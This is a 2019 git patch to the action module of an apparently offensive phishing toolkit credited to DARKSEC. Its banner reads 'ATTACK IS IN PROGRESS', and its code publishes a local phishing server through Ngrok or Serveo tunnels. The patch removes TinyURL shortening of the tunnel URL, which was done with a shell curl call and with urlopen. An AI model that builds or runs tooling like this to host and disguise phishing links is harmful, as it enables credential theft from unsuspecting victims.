From 17956e7f1ece7a7d02848f1521a53663732aa1ac Mon Sep 17 00:00:00 2001 From: AnonUD4Y Date: Wed, 27 Feb 2019 20:14:19 +0530 Subject: [PATCH] Temporarily Removed TinyUrl Removed Tinyurl Due to a Error.. Will Add it later.. --- Defs/Actions.py | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/Defs/Actions.py b/Defs/Actions.py index 6306c39..4358e48 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -112,9 +112,7 @@ def runNgrok(): | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ ATTACK IS IN PROGRESS ]{1}!! {0}\n-------------------------------\n\n\n {0}[{1}*{0}]{1} Ngrok URL: {2}'''.format(RED, DEFAULT, GREEN) + url + '''{1}'''.format(RED, DEFAULT, GREEN)) - link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https') - print('''\n {0}[{1}*{0}]{1} TINYURL: {2}'''.format(RED, DEFAULT, GREEN) + link + '''{1}'''.format(RED, DEFAULT, GREEN)) - print('''\n''') + break def runServeo(): @@ -137,11 +135,7 @@ def runServeo(): url = str(output).strip("b ' \ n r") print("\n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN)) print("\n") - data = urlopen("http://tinyurl.com/api-create.php?url="+url) - url = data.read() - link = url.decode('utf-8') - print("\n{0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN)) - print("\n") + except CalledProcessError: print (_('''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n ''').format(RED, DEFAULT)) @@ -149,6 +143,7 @@ def runServeo(): system('clear') return runServeo() + def runMainMenu(): #menu where user select what they wanna use if 256 != system('which php'): #Checking if user have PHP